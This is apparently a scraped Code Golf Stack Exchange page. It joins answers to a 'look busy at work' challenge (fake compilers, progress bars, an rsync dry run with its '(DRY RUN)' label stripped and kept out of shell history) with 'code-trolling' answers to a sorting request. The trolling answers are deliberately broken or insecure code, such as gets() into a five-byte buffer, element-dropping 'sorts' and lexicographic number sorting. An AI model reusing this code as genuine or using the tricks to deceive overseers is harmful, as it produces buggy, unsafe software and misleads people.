new File(string); Scanner s = new Scanner(f); while(s.hasNext()) { newList.add(s.nextLine()); } return newList; } private void generate() throws IOException { String className = beginClass(); List<Field> finalFields = generateFields(true); printFields(finalFields); out.append(System.lineSeparator()); List<Field> mutableFields = generateFields(false); printFields(mutableFields); out.append(System.lineSeparator()); printConstructor(className, finalFields); printGetters(finalFields); printGetters(mutableFields); printSetters(mutableFields); endClass(); } private void printGetters(List<Field> fields) throws IOException { for(Field f : fields) { out.append(System.lineSeparator()); f.printGetter(out); } } private void printSetters(List<Field> fields) throws IOException { for(Field f : fields) { out.append(System.lineSeparator()); f.printSetter(out); } } private void printConstructor(String className, List<Field> finalFields) throws IOException { out.append("\tpublic ").append(className).append('('); printArgs(finalFields); out.append(") {").append(System.lineSeparator()); for(Field f : finalFields) { f.printAssignment(out); } out.append("\t}").append(System.lineSeparator()); } private void printArgs(List<Field> finalFields) throws IOException { if(finalFields.size() == 0) return; Iterator<Field> iter = finalFields.iterator(); while(true) { Field next = iter.next(); next.printTypeAndName(out); if(!iter.hasNext()) break; out.append(", "); } } private List<Field> generateFields(boolean isfinal) { int numFields = r.nextInt(3) + 2; List<Field> newFields = Lists.newArrayListWithCapacity(numFields); for(int i = 0; i < numFields; i++) { String type = TYPES[r.nextInt(4)]; newFields.add(new Field(type, wordList.makeLower(r.nextInt(2) + 1), isfinal)); } return newFields; } private void printFields(List<Field> finalFields) throws IOException { for(Field f : finalFields) { f.printFieldDeclaration(out); } } private String beginClass() throws IOException { out.append("public class "); String className = wordList.nextClassName(CLASS_NAME_LENGTH); out.append(className).append(" {").append(System.lineSeparator()); return className; } private void endClass() throws IOException { out.append("}"); } private static class WordList { private final Random r = new Random(); private final List<?> source; private WordList(List<?> source) { this.source = source; } private String makeUpper(int length) { StringBuilder sb = new StringBuilder(); for(int i = 0; i < length; i++) { sb.append(randomWord()); } return sb.toString(); } private String makeLower(int length) { return TOLOWER.convert(makeUpper(length)); } private String randomWord() { int sourceIndex = r.nextInt(source.size()); return TOUPPER.convert(source.get(sourceIndex).toString().toLowerCase()); } public String nextClassName(int length) { return makeUpper(length); } } private static class Field { private final String type; private final String fieldName; private final boolean isfinal; Field(String type, String fieldName, boolean isfinal) { this.type = type; this.fieldName = fieldName; this.isfinal = isfinal; } void printFieldDeclaration(Appendable appendable) throws IOException { appendable.append("\tprivate "); if(isfinal) appendable.append("final "); printTypeAndName(appendable); appendable.append(';').append(System.lineSeparator()); } void printTypeAndName(Appendable appendable) throws IOException { appendable.append(type).append(' ').append(fieldName); } void printGetter(Appendable appendable) throws IOException { appendable.append("\tpublic "); appendable.append(type).append(" get").append(TOUPPER.convert(fieldName)); appendable.append("() {").append(System.lineSeparator()); appendable.append("\t\treturn ").append(fieldName).append(';'); appendable.append(System.lineSeparator()).append("\t}").append(System.lineSeparator()); } void printSetter(Appendable appendable) throws IOException { appendable.append("\tpublic void set"); appendable.append(TOUPPER.convert(fieldName)); appendable.append("(").append(type).append(' ').append(fieldName); appendable.append(") {").append(System.lineSeparator()); printAssignment(appendable); appendable.append("\t}").append(System.lineSeparator()); } void printAssignment(Appendable appendable) throws IOException { appendable.append("\t\tthis.").append(fieldName).append(" = ").append(fieldName); appendable.append(';').append(System.lineSeparator()); } } private static class SleepingAppendable implements Appendable { private Random r = new Random(); private Appendable backing; private boolean sleeping = true; public SleepingAppendable(Appendable backing) { this.backing = backing; } @Override public Appendable append(CharSequence csq) throws IOException { return append(csq, 0, csq.length()); } @Override public Appendable append(CharSequence csq, int start, int end) throws IOException { for(int i = start; i < end; i++) { append(csq.charAt(i)); } sleep(100, 300); return this; } @Override public Appendable append(char c) throws IOException { sleep(170, 80); backing.append(c); return this; } private void sleep(int base, int variation) { if(!sleeping) return; try { Thread.sleep((long) (r.nextInt(80) + 70)); } catch (InterruptedException e) { } } public boolean isSleeping() { return sleeping; } public void setSleeping(boolean sleeping) { this.sleeping = sleeping; } } } ``` Sample program output (just one program) ``` public class GetGroup { private final double thoughRight; private final double socialYear; private final double manOne; private final int appear; private double man; private double comeHis; private double certain; public GetGroup(double thoughRight, double socialYear, double manOne, int appear) { this.thoughRight = thoughRight; this.socialYear = socialYear; this.manOne = manOne; this.appear = appear; } public double getThoughRight() { return thoughRight; } public double getSocialYear() { return socialYear; } public double getManOne() { return manOne; } public int getAppear() { return appear; } public double getMan() { return man; } public double getComeHis() { return comeHis; } public double getCertain() { return certain; } public void setMan(double man) { this.man = man; } public void setComeHis(double comeHis) { this.comeHis = comeHis; } public void setCertain(double certain) { this.certain = certain; } } ``` Another sample output: ``` public class TryControl { private final int over; private final double thatState; private final long jobInto; private final long canPut; private int policy; private int neverWhile; public TryControl(int over, double thatState, long jobInto, long canPut) { this.over = over; this.thatState = thatState; this.jobInto = jobInto; this.canPut = canPut; } public int getOver() { return over; } public double getThatState() { return thatState; } public long getJobInto() { return jobInto; } public long getCanPut() { return canPut; } public int getPolicy() { return policy; } public int getNeverWhile() { return neverWhile; } public void setPolicy(int policy) { this.policy = policy; } public void setNeverWhile(int neverWhile) { this.neverWhile = neverWhile; } } ``` [Answer] # bash Output some comments from random source files at random intervals, followed by a randomly generated do-nothing progress bar. ``` #!/bin/bash # The directory to extract source comments from srcdir=~/src/php-src/ # Generate a status bar that lasts a random amount of time. # The actual amount of time is somewhere between 1.5 and 30 # seconds... I think. I fudged this around so much it's hard to tell. function randstatus() { bsize=4096 r_rate=$(echo "$RANDOM/32767 * $bsize * 1.5 + $bsize / 4" | bc -l | sed 's/\..*$//') r_min=3 r_max=15 r_val=$(($r_min + $RANDOM % $(($r_max - $r_min)) )) i=0 dd if=/dev/urandom bs=$bsize count=$r_val 2> /dev/null | pv -L $bsize -s $(($r_val * bsize)) > /dev/null } # Picks a random .c file from the given directory, parses # out one-line comments, and outputs them one by one with a # random delay between each line. function randout() { r_file=$(find $1 -name '*.c' | sort -R | head -n 1) echo "# $r_file" grep '^\s*/\*.*\*/\s*$' $r_file | sed 's:[/\*]::g' | sed -e 's:^\s\+::' -e 's:\s\+$::' | sed -e 's:^\W\+::' | grep -v '^$' | while read line; do echo $line sleep $(printf "%0.2f" $(echo "$((($RANDOM%4)+1))/4" | bc -l)) done } while true; do randout $srcdir randstatus # sleep here to make it easier to break out of the 'while read' loop sleep 2 done ``` Output: ``` # /home/jerkface/src/php-src/sapi/fpm/fpm/fpm_shm.c Id: fpm_shm.c,v 1.3 20080524 17:38:47 anight Exp $ c) 2007,2008 Andrei Nigmatulin, Jerome Loyet MAP_ANON is deprecated, but not in macosx 32kB 0:00:08 [3.97kB/s] [====================================================================>] 100% # /home/jerkface/src/php-src/ext/mbstring/mb_gpc.c Id$ includes mbfl_no_encoding _php_mb_encoding_handler_ex() split and decode the query initialize converter auto detect convert encoding we need val to be emalloc()ed add variable to symbol table SAPI_POST_HANDLER_FUNC(php_mb_post_handler) 12kB 0:00:03 [4.02kB/s] [===============> ] 24% ETA 0:00:09 ``` [Answer] ## Rsync form BASH ``` rsync -n -avrIc --verbose ~ ~ | sed s/"(DRY RUN)"/""/g # Note the space at the beginning of the above line, ``` ***rsync*** - a fast, versatile, remote (and local) file-copying tool... that with *-n* performs a *dry run*, only try to do, do not really do, and shows what happens. In this case try to check if to update all file of your home directory (and *sub-folders*). If you have the root access of course you can run it on a bigger part of your filesystem. **Notes:** 1. If `HISTCONTROL=ignoreboth` or at least `HISTCONTROL=ignorespace` in your *bash session* your *bash history* will not remember that command if you write it with a space before. (You cannot push up and see it on the screen, neither in the *history log*). 2. `| sed s/"(DRY RUN)"/""/g` will pipe the output through `sed` that will erase the `(DRY RUN)` text at the end of the rsync output. If an expert check you can say you really doing that, not only testing. 3. `-avrIc` you can change those options, check on `man rsync`, but **never remove the `-n`**, else you should have serious problem, even more if you run as root... `8-O`! [Answer] **Maven under bash** Maven is just perfect for this kind of task ;-) ``` while true; do mvn -X archetype:generate -DgroupId=com.mycompany.app -DartifactId=my-app -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false; done ``` [Answer] # Cobra This opens a console window that loops through various fake objects and assorted things, incrementing in passes and progress for each pass. It waits for a small random time each increment, to simulate actual computation delays. ``` class Does_Nothing_Useful var _rng as Random = Random() var _hash var _pass var _names as String[] = @['Vector', 'Object', 'File', 'Index', 'Report', 'Library', 'Entry', 'Log', 'Resource', 'Directory'] def main while true .refresh name as String = _names[_rng.next(_names.length)] + ' ' + _hash.toString for i in _pass progress as decimal = 0 while progress < 100000 progress += _rng.next(1000) print name + '; pass', i, ' : ', progress/1000 wait as int = 0 for n in _rng.next(50), wait += _rng.next(1,100) System.Threading.Thread.sleep(wait) print name + '; pass', i, '--FINISHED--' print '' System.Threading.Thread.sleep(_rng.next(1000,17500)) print name, '--EVAL COMPLETE--' print '' System.Threading.Thread.sleep(_rng.next(12500,30000)) def refresh _hash = _rng.next.getHashCode _pass = _rng.next(256) print '--LOADING NEXT TARGET--' print '' System.Threading.Thread.sleep(_rng.next(12500,30000)) ``` [Answer] I wrote a stupid python script to do this once. Called "ProgramAboutNothing"... I'm not sure it's that convincing but it only took me about 10 minutes. It just outputs random sentences describing what it is supposedly doing... I could probably have chosen better words for it that might look more convincing but I never actually used it properly. I guess if someone wants to use it they can edit it and add their own words in the lists... Fans of Sim City might notice something familiar, though. :P ``` from random import randrange from time import sleep nouns = ["bridge", "interface", "artifact", "spline"] verbs = ["building", "articulating", "reticulating", "compiling", "analyzing"] adjectives = ["mix", "abstract", "essential"] while True: one = randrange(0,5) two = randrange(0,4) print "%s %s" % (verbs[one], nouns[two]), sleep(randrange(0,500)/100) print ".", sleep(randrange(0,500)/100) print ".", sleep(randrange(0,500)/100) print ".\n", loop = randrange(0,50) one = randrange(0,5) for i in range(loop): two = randrange(0,4) three = randrange(0,3) print "%s %s %s" % (verbs[one], nouns[two], adjectives[three]), sleep(randrange(0,250)/100) print ".", sleep(randrange(0,250)/100) print ".", sleep(randrange(0,250)/100) print ".\n", ``` [Answer] How about this one? It will download the codegolf HTML data every 1 second. So, the data will keep on changing as long as the newer questions come in. At the same time, it will also appear as if you are downloading some critical data from a website. ``` while true; do sleep 1; curl "codegolf.stackexchange.com" -s | w3m -dump -T text/html; done ``` [Answer] # Bash The recursive directory list: ``` ll -R / ``` [Answer] This is a C++ Compiler Simulation (written in C#): ``` using System; using System.Collections.Generic; using System.Management; using System.Text; using System.Threading; using System.Threading.Tasks; using System.IO; using System.Reflection; class FakeCompiler { static void DoPrint(string txt) { Console.WriteLine("Compiling " + txt); Thread.Sleep(1000); } static string Extract(string TypeName) { string rt = TypeName.Split(new Char[] {'.'})[ TypeName.Split(new Char[] {'.'}).Length - 1 ]; if (rt.Contains("+")) { rt = rt.Split(new char[] { '+' })[1]; } if (rt.Contains("[")) { rt = rt.Split(new char[] { '[' })[0]; } return rt; } static void DoCompileSingleFile(string _Type_Name) { string print = Extract(_Type_Name); DoPrint(print + ".h"); DoPrint(print + ".cpp"); } static Type[] DoFakeCompile_Assembly(string _AssemblyFileName) { System.Reflection.Assembly _asm = System.Reflection.Assembly.Load(_AssemblyFileName); Type[] _ts = _asm.GetTypes(); for (int h = 0; h < 15; ++h) { DoCompileSingleFile(_ts[h].ToString()); } return _ts; } static void DoFakeLinkErrors(Type[] t) { Console.WriteLine("linking.."); Thread.Sleep(2000); MethodInfo[] mi; for (int i = 0; i < t.Length; ++i) { mi = t[i].GetMethods(); for (int j = 0; j < mi.Length; ++j) { Console.WriteLine("Link Error: The object {@!" + mi[j].ToString().Split(new char[] {' '})[0] + "#$? is already defined in " + Extract(t[i].ToString()) + ".obj"); Thread.Sleep(200); } } } static void Main(string[] args) { Console.WriteLine("Fictional C/C++ Optimizing Command-line Compiler Version 103.33.0"); DoFakeLinkErrors(DoFakeCompile_Assembly("mscorlib.dll")); } } ``` [Answer] # xdotool and an IDE (for example eclipse) For X11 users. Use this script and make sure you just `Alt`+`tab`'ed from Eclipse. You need a java file. For example here: <https://raw.githubusercontent.com/Valay/Longest-Word-Made-of-other-Words/master/LongestWord.java> ``` #!/bin/sh xdotool key alt+Tab xdotool sleep 0.2 xdotool type --delay 300 "$(cat LongestWord.java)" xdotool key alt+Tab ``` [Answer] # Batch Place in a folder with a lot of files. If it scrolls by fast enough, no one will suspect anything. ``` :l dir/s echo %RANDOM% echo %RANDOM% echo %RANDOM% goto l ``` [Answer] ``` emerge @world ``` full recompile on gentoo ]
[Question] [ **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. **Note: This question was severely edited since I first posted it here. The rules were moved to [here](https://codegolf.stackexchange.com/tags/code-trolling/info), read them before posting any answer to understand the purpose of this. This was the first question created in the [code-trolling](/questions/tagged/code-trolling "show questions tagged 'code-trolling'") category.** Imagine a lazy user on Stack Overflow asks this question: > > I need a program where the user inputs an array of doubles and the program outputs the array sorted. Could you please give the code? > > > How could you create a piece of code that will troll this user? Create a piece of code that will appear useful to an inexperienced programmer but is utterly useless in practice. The winner is the most upvoted answer, except if the answer is somehow not eligible (for eligibility requirements, check the tag wiki description of [code-trolling](/questions/tagged/code-trolling "show questions tagged 'code-trolling'")). If the previously most upvoted answer is beaten in the future in the number of upvotes after being accepted, the new best answer is accepted and the previous one is unaccepted. In the case of a tie, I will choose the winner at will among the tied ones or just wait a bit more. Answers that have no code are not eligible. They might be fun and get some upvotes, but they won't be accepted. Rules can be found at [tag description](https://codegolf.stackexchange.com/tags/code-trolling/info). Note: This is a [code-trolling](/questions/tagged/code-trolling "show questions tagged 'code-trolling'") question. Please do not take the question and/or answers seriously. More information [here](https://codegolf.stackexchange.com/tags/code-trolling/info). [Answer] Here it is in java. It is utter cheating, unacceptable and unfixable because it creates a MySQL database, insert the number there, do a select with an ORDER BY clause and outputs the numbers given by MySQL. In fact, it is MySQL who is doing the sorting, not the program. ``` package sorter; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.util.ArrayList; import java.util.List; import javax.swing.JOptionPane; public class SortingAlgorithm { private static final String CREATE_DB = "CREATE DATABASE sorting"; private static final String DROP_DB = "DROP DATABASE sorting"; private static final String CREATE_TABLE = "CREATE TABLE sorting.sorting ( num double not null )"; public static void main(String[] args) throws Exception { Class.forName("com.mysql.jdbc.Driver"); List<Double> doubles = new ArrayList<>(50); String typed; do { typed = JOptionPane.showInputDialog(null, "Type a double:"); if (typed != null) doubles.add(Double.parseDouble(typed)); } while (typed != null); List<Double> sorted = new ArrayList<>(50); try (Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306", "root", "root")) { try (PreparedStatement ps = con.prepareStatement(CREATE_DB)) { ps.executeUpdate(); } try (PreparedStatement ps = con.prepareStatement(CREATE_TABLE)) { ps.executeUpdate(); } for (Double d : doubles) { try (PreparedStatement ps = con.prepareStatement("INSERT INTO sorting.sorting (num) VALUES (" + d + ")")) { ps.executeUpdate(); } } try ( PreparedStatement ps = con.prepareStatement("SELECT * FROM sorting.sorting ORDER BY num"); ResultSet rs = ps.executeQuery()) { while (rs.next()) { sorted.add(rs.getDouble("num")); } } try (PreparedStatement ps = con.prepareStatement(DROP_DB)) { ps.executeUpdate(); } } JOptionPane.showMessageDialog(null, "The array sorted is: " + sorted); } } ``` [Answer] Sometimes the community here doesn't like to help with homework. That's why you are getting so many joke answers. But I like to help. Here is a complete solution in 'C' (since I assume you want to learn "programming", not "scripting" with Java or Ruby). I've included many tips that I wish I had known when I was first learning ``` #include <stdio.h> //Always use meaningful names for types typedef unsigned char boolean; #define True 't' #define FALSE (!True) //this is a really neat trick for swapping values efficiently void swap(long* a,long *b) { *a=*a^*b;*b=*b^*a;*a=*a^*b; } //Here's a readability improvement #define until(condition) while(!(condition)) int main(int n, char*args[]){ double *d; int i; char input[5]; //should be long enough for most doubles. boolean sorted = FALSE; //In C, you need to specify the array size beforehand, so ask printf("Please enter the length of the array\n"); gets(input); //scan the input string and convert to a value sscanf(input,"%s",&input[0]); n=(long)atol(input); //allocate space, make sure you get the order of arguments right. d = calloc(sizeof(double),n); //Get and sort the array until (sorted) { for (i=0;i<n;i++) { //It's important to always ask nicely printf("Please enter the %d%s array item\n",i,i==1?"st":"th"); scanf("%lf",d+i); } //do a compare and exchange sort: sorted = !sorted; //not sorted //check all the items printf("%d %d\n",i,n); for (i=1;i<n;i++) { //compare if (d[i]<d[i-1]) { //exchange swap(d+i,d+i-1); sorted = FALSE; } } //show results printf("The array is%ssorted\n",sorted?" ":" not "); } //use the --> "downto operator" for counting downto 0. for (;n-->0;) printf("%lf\n",*d++); } ``` [Answer] # C# - There's no kill like overkill First of all, dear GiMmEtHaCoDeZ, let's try to break down your task: 1. Read the numbers 2. Sort them 3. Output the sorted numbers. As "Divide and conquer" is very important strategy when working with software problems, lets tackle them one at a time # 1. Reading Another important issue in software is versatility. Since it's not specified how the user will input the numbers, that can happen via the console, via a file, via a web service, etc. Maybe even some method that we can't think of at the moment. So, it's important that our solution will be able to accommodate various types of input. The easiest way to achieve that will be to extract the important part to an interface, let's say ``` public interface IDoubleArrayReader { IEnumerable<double> GetDoubles(); DoubleArrayReaderType Type {get;} } ``` where `DoubleArrayReaderType` is an enumeration given with ``` public enum DoubleArrayReaderType { Console, File, Database, Internet, Cloud, MockService } ``` It's also important to make the software testable from the ground up, so an implementation of the interface will be ``` public class MockServiceDoubleArrayReader : IDoubleArrayReader { IEnumerable<double> IDoubleArrayReader.GetDoubles() { Random r = new Random(); for(int i =0; i<=10; i++) { yield return r.NextDouble(); } } DoubleArrayReaderType IDoubleArrayReader.Type { get { return DoubleArrayReaderType.MockService; } } } ``` Next, the logical question is how we will know to load the appropriate `IDoubleArrayReader` into the code. That's easy as long as we use a simple factory: ``` public static class DoubleArrayInputOutputFactory { private static Dictionary<DoubleArrayReaderType, IDoubleArrayReader> readers; static DoubleArrayInputOutputFactory() { readers = new Dictionary<DoubleArrayReaderType, IDoubleArrayReader>(); foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) { try { var instance = Activator.CreateInstance(type); if (instance is IDoubleArrayReader) { readers.Add((instance as IDoubleArrayReader).Type, (instance as IDoubleArrayReader)); } } catch { continue; } } } public static IDoubleArrayReader CreateDoubleArrayReader(DoubleArrayReaderType type) { return readers[type]; } } ``` Note that, we use reflection to load all active readers, so any future extensions will be automatically available Now, in the main body of out code we just do: ``` IDoubleArrayReader reader = DoubleArrayInputOutputFactory .CreateDoubleArrayReader(DoubleArrayReaderType.MockService); var doubles = reader.GetDoubles(); ``` # 2. Processing (sorting) Now we need to process, i.e. sort the numbers we have acquired. Note that the steps are completely independent of each other, so to the sorting subsystem, it does not matter how the numbers were inputed. Additionally, the sorting behavior is also something that is subject to change, e.g. we might need to input a more efficient sorting algorithm in place. So, naturally, we'll extract the requested processing behaviour in an interface: ``` public interface IDoubleArrayProcessor { IEnumerable<double> ProcessDoubles(IEnumerable<double> input); DoubleArrayProcessorType Type {get;} } public enum DoubleArrayProcessorType { Sorter, Doubler, Tripler, Quadrupler, Squarer } ``` And the sorting behaviour will just implement the interface: ``` public class SorterDoubleArrayProcessor : IDoubleArrayProcessor { IEnumerable<double> IDoubleArrayProcessor.ProcessDoubles(IEnumerable<double> input) { var output = input.ToArray(); Array.Sort(output); return output; } DoubleArrayProcessorType IDoubleArrayProcessor.Type { get { return DoubleArrayProcessorType.Sorter; } } } ``` Of course, we will need a factory to load and manage the processing instances. ``` public static class DoubleArrayProcessorFactory { private static Dictionary<DoubleArrayProcessorType, IDoubleArrayProcessor> processors; static DoubleArrayProcessorFactory() { processors = new Dictionary<DoubleArrayProcessorType, IDoubleArrayProcessor>(); foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) { try { var instance = Activator.CreateInstance(type); if (instance is IDoubleArrayProcessor) { processors.Add((instance as IDoubleArrayProcessor).Type, (instance as IDoubleArrayProcessor)); } } catch { continue; } } } public static IDoubleArrayProcessor CreateDoubleArrayProcessor(DoubleArrayProcessorType type) { return processors[type]; } } ``` # 3. Writing the output Nothing much to say here, as this is a process that mirror the input. In fact, we could combine the reading and writing factories into a single `DoubleArrayInputOutputFactory`, like this: ``` public interface IDoubleArrayWriter { void WriteDoublesArray(IEnumerable<double> doubles); DoubleArrayWriterType Type {get;} } public enum DoubleArrayWriterType { Console, File, Internet, Cloud, MockService, Database } public class ConsoleDoubleArrayWriter : IDoubleArrayWriter { void IDoubleArrayWriter.WriteDoublesArray(IEnumerable<double> doubles) { foreach(double @double in doubles) { Console.WriteLine(@double); } } DoubleArrayWriterType IDoubleArrayWriter.Type { get { return DoubleArrayWriterType.Console; } } } public static class DoubleArrayInputOutputFactory { private static Dictionary<DoubleArrayReaderType, IDoubleArrayReader> readers; private static Dictionary<DoubleArrayWriterType, IDoubleArrayWriter> writers; static DoubleArrayInputOutputFactory() { readers = new Dictionary<DoubleArrayReaderType, IDoubleArrayReader>(); writers = new Dictionary<DoubleArrayWriterType, IDoubleArrayWriter>(); foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) { try { var instance = Activator.CreateInstance(type); if (instance is IDoubleArrayReader) { readers.Add((instance as IDoubleArrayReader).Type, (instance as IDoubleArrayReader)); } } catch { continue; } } foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) { try { var instance = Activator.CreateInstance(type); if (instance is IDoubleArrayWriter) { writers.Add((instance as IDoubleArrayWriter).Type, (instance as IDoubleArrayWriter)); } } catch { continue; } } } public static IDoubleArrayReader CreateDoubleArrayReader(DoubleArrayReaderType type) { return readers[type]; } public static IDoubleArrayWriter CreateDoubleArrayWriter(DoubleArrayWriterType type) { return writers[type]; } } ``` # Putting it all together Finally, our main program will just use all this awesomeness we have already built, so the code will just be: ``` var doubles = reader.GetDoubles(); doubles = processor.ProcessDoubles(doubles); writer.WriteDoublesArray(doubles); ``` where, e.g. we could define `reader`, `writer` and `processor` using ``` IDoubleArrayReader reader = DoubleArrayInputOutputFactory.CreateDoubleArrayReader(DoubleArrayReaderType.MockService); IDoubleArrayProcessor processor = DoubleArrayProcessorFactory.CreateDoubleArrayProcessor(DoubleArrayProcessorType.Sorter); IDoubleArrayWriter writer = DoubleArrayInputOutputFactory.CreateDoubleArrayWriter(DoubleArrayWriterType.Console); ``` [Answer] Even more literal interpretation: ``` echo " aaehrrty" ``` that is, "the array" sorted. [Answer] # Perl Out of all of the things I've done for CodeGolf.SE, this probably took the most time, at least a few hours. ``` $_[0]=eval<>; for(0..$#{$_[0]}**2){ @_[$#_+1]=[\(@{$_[$#_]}),$#{$_[$#_]}+1]; for(1..$#{$_[$#_]}-$#_){ if(eval('${'x$#_.'@{$_[$#_]}[$_-1]'.'}'x$#_)>eval('${'x$#_.'@{$_[$#_]}[$_]'.'}'x$#_)){ ${$_[$#_]}[$#{$_[$#_]}]=$_; } } (${$_[$#_]}[${$_[$#_]}[$#{$_[$#_]}]-1],${$_[$#_]}[${$_[$#_]}[$#{$_[$#_]}]])=(${$_[$#_]}[${$_[$#_]}[$#{$_[$#_]}]],${$_[$#_]}[${$_[$#_]}[$#{$_[$#_]}]-1]); } for(0..~~@{$_[0]}){ $\.=eval('${'x$#_.'${$_[$#_]}[$_-1]'.'}'x$#_).',' } $\=~s/,*$//;$\=~s/^,*//;$\="[$\]"; print; ``` Input is of the form `[2,4,5,7,7,3]` and output is of the form `[2,3,4,5,7,7]`. ~~I don't have time to explain now... be back later.~~ Anyways, there is something called an anonymous array in Perl. It is an array, but it has no name. What we do know, however, is a reference (memory location) that points to it. A series of numbers in square brackets creates an anonymous array, and it returns a reference to it. This answer is built off of a series of anonymous arrays, the references to which are stored in `@_`. The input is turned into an anonymous array. We then create other anonymous arrays, each element of which is a reference to an element in the previous array. Instead of sorting the elements in the array, we sort the pointers to the elements in that array. Also, we create a new array for each step (and more) in the sort operation. [Answer] ## Python Gives the user a sorted array by removing all elements not in sorted order from the input array. ``` import sys sorted = [] for number in map(float, sys.stdin.read().split()): if not sorted or number >= sorted[-1]: sorted.append(number) print sorted ``` The algorithm goes through the list only adding each element if it won't make the list unsorted. Thus the output is a sorted list, just not one that's contains all the elements of the original list. If the op just checks if the list is in sorted order he may not notice that the output is missing values. [Answer] # Bash, 54 characters A lot of answers using slow inefficient languages like C and Python... let's speed things up a bit by offering a solution in the mother of all scripting languages: Bash. I know what you're thinking - Bash can't even handle floating point arithmetic, so how is it going to sort, right? Well, behold, my implementation of the mighty SleepSort algorithm: ``` #!/bin/bash for i in $@; do echo -n $(sleep $i)$i' '& done echo "Leveraging the power of your $(grep -c ^processor /proc/cpuinfo) cores to \ sort optimally by spawning $(jobs -l | wc -l) concurrent sorting threads..." wait echo -e "\nThe array sorted." ``` The program is provided with input as commandline arguments. Sample run: ``` > ./sleepsort.sh 7 1 4 3 2.752 6.9 0.01 0.02 Leveraging the power of your 4 cores to optimally by spawning 8 concurrent sorting threads... 0.01 0.02 1 2.752 3 4 6.9 7 The array sorted. ``` This also has the advantage of perhaps being the shortest of all working algorithms presented here. That's right - **one mighty line of bash**, using only bash builtins and not calling any external binaries (that is, if you don't count the purely optional verbose output). Unlike the bogosorts, its runtime is deterministic. Tip: An effective optimisation is to divide the input numbers by a factor before sorting. Implementation is left up to the reader. ## Edit: Shortened 54-char golf version with less pretty-printing: ``` #!/bin/sh for i in $@;do echo $(sleep $i)$i&done;wait ``` [Answer] JavaScript has a built-in `sort()` function, you can use it like this: ``` var numbers = [6, 2.7, 8]; numbers.sort(); // => [2.7, 6, 8] ``` ...oh, totally forgot to mention, it sorts in lexicographic order, i.e. `10 < 9` and `9 < -100`. Probably that's what you expect anyway. [Answer] ## (jPL) jQuery Programming Language You **must** use jQuery for that. A simple solution to this problem is the following one: ``` function jSort() { var a = 0.0; // position 1 var b = 0.0; // position 2 var c = 0.0; // position 3 var arr = []; var nArr = []; // don't forget to validate our array! if (window.prompt("You must only type double values. Type 1 if you accept the terms.") != 1) { alert("You can't do that."); return; } for (var i = 0; i < 3; i++) { if (i == 0) { var a = window.prompt("Type a double value"); arr.push(a); } if (i == 1) { var b = window.prompt("Type a double value"); arr.push(b); } if (i == 2) { var c = window.prompt("Type a double value"); arr.push(c); } } // Now the tricky part var b1 = false; var b2 = false; var b3 = false; for (var i = 0 ; i < 3; i++) { // check if the variable value is the same value of the same variable which now is inside the array if (i == 0) { if (a == arr[i]) { b1 = true; } } if (i == 1) { if (b == arr[i]) { b2 = true; } } if (i == 2) { if (c == arr[i]) { b3 = true; } } } if (b1 == true && b2 == true && b3 == true) { if (arr[0] > arr[1]) { if (arr[0] > arr[2]) { nArr.push(arr[0]); } else { nArr.push(arr[2]); } } if (arr[1] > arr[0]) { if (arr[1] > arr[2]) { nArr.push(arr[1]); } else { nArr.push(arr[2]); } } if (arr[2] > arr[0]) { if (arr[2] > arr[1]) { nArr.push(arr[2]); } else { nArr.push(arr[1]); } } console.log(arr.sort(function (a, b) { return a - b })); alert(arr.sort(function (a, b) { return a - b })); } } jSort(); ``` [Answer] # Ruby ``` print "Input an array of doubles: " gets puts "the array sorted." ``` Fairly self-explanatory. Or require the input to actually be "an array of doubles": ``` print "Input an array of doubles: " g = gets until /an array of doubles\n/ puts "the array sorted." ``` Not using `gets.chomp` for extra evilness. Also using regex after trailing until, which is something I didn't even know you could do (thanks Jan Dvorak) to confuse OP even more! [Answer] # C This solution combines the conciseness and OS-level access provided by C with the powerful, reusable software components in GNU/Linux: ``` #include <stdlib.h> main(int argc, char **argv) { system("echo Enter numbers one per line, ending with ctrl-D; sort -g"); } ``` [Answer] **Python3.3** > > Sure, here's the *most simple* Python program that can sort an array > given as a list literal on stdin: > > > > ``` > collections = __import__(dir(object.__subclasses__()[7])[1][4:-3] + chr(116)) > > URL = ('https://www.google.com/search?client=ubuntu&channel=fs&q=dante+alighieri' > '%27s+divina+commedia&ie=utf-8&oe=utf-8#channel=fs&q=__++divina+commedia+' > 'dante+alighieri+inferno+__').translate( > dict.fromkeys(map(ord, '+-.:,;bcdefghjklopqrstuvwxyz/&=#?%')))[30:] > SECRET_KEY = URL[2:10][::-1][3:-1] > DATA = '{}{}{}'.format(URL[:2], SECRET_KEY[:2] + SECRET_KEY[:-3:-1], URL[-2:]) > > > > if getattr(DATA, dir(list)[7])(__name__): > pieces = 'literally - evil'.split(' - ') > r = getattr(collections, > '_'.join([pieces[0][:-2], > pieces[1].translate({ord('j')-1: 'a'})]) > )((getattr(globals()['__{}__'.format('buildings'.translate( > {100:'t', 103:None}))], 'in' r"put")) > ()) > tuple((lambda lst: > (yield from map(list, > map(lambda k: (yield from k), > ((lambda i: (yield from map(lambda t: > (lst.append(lst[i]) or > lst.__setitem__(i, lst[t]) or > lst.__setitem__(t, lst.pop())), > (j for j in range(i) > if (lambda: lst[i] < lst[j])()) > )) > )(è) for è in range( > getattr(lst, > dir(lst)[19])())))) > ) > )(r)) > print(r) > > ``` > > Unfortunately it works only in python3.3+ since it uses the `yield > from` expression. The code should be quite self-explanatory, so you > shouldn't have any problems when handing it in to your professor. > > > --- The trolling is in providing a *perfectly working* solution that does exactly what the OP intended, but in a way that is: * impossible to understand (by a beginner) * impossible to handle in to the teacher because: + the OP can't understand it + even if he could the teacher wouldn't have time to decipher in order to understand it * *scary* for a naive newbie which might think that programming is too hard for him In summary this answer would greatly increase the frustration of the student mocking their requests with perfectly valid answers from a certain point of view. --- (Do not read if you consider a challenge understanding the code above) I must add that the trolling is also increased by the fact that the sorting algorithm implemented is actually > > **bubble-sort!**... which could surely be implemented in a way that even > the OP could understand. It's not an obscure algorithm per se, just > a good code-obfuscation of something that the OP could otherwise > understand perfectly. > > > [Answer] # Ruby, evil Bogosort! (Bonus: bogosort by user input) ``` print "Input array of doubles, separated by commas: " arr = gets.split(",") arr.shuffle! until arr.each_cons(2).all? {|x| x[0] < 